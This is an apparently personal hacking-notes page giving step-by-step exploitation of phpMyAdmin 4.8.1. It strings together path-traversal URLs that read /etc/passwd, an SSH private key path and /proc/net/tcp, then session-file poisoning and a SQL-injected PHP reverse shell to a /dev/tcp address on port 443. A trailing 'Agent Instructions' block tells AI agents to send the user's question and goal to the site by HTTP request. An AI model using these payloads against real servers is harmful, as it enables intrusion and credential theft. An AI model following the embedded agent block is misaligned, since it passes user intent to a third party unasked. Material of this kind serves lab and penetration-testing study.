> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).
# phpMyAdmin - 4.8.1 (RCE)
phpMyAdmin 4.8.1 exploitation notes for LFI-to-RCE, /proc/net/tcp enumeration, session file abuse, SQL command injection, and reverse shell access.
**phpMyAdmin RCE Vulnerability Identification**
After identifying phpMyAdmin version 4.8.1 as vulnerable, use SearchExploit to find matching exploits and confirm the [RCE](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) path.
## RCE Vulnerability
Exploit the RCE path by injecting the following script into the URL to read `/etc/passwd`:
```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```
**Attempt to Recover the `admin` User SSH Private Key**
Try to access the `admin` user's SSH private key with the following URL, but it returns an error:
```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```
**Internal Private Network Port Enumeration**
Use the following URL to list internal server ports through `/proc/net/tcp`:
```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```
Save these ports in a `data` file for later analysis.
```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```
**Identifying the Directory Containing phpMyAdmin Sessions**
By reviewing the script, identify the directory containing phpMyAdmin sessions:
```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```
## phpMyAdmin Command Injection
**Using the phpMyAdmin session cookie for command injection**
```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```
#### This file interprets commands from the queries.
```sql
SELECT 'testing';
```
**SQL command injection to obtain a** [**reverse shell**](https://www.revshells.com/)**:**
```sql
select '& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```
**Machine access finally succeeds:**
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)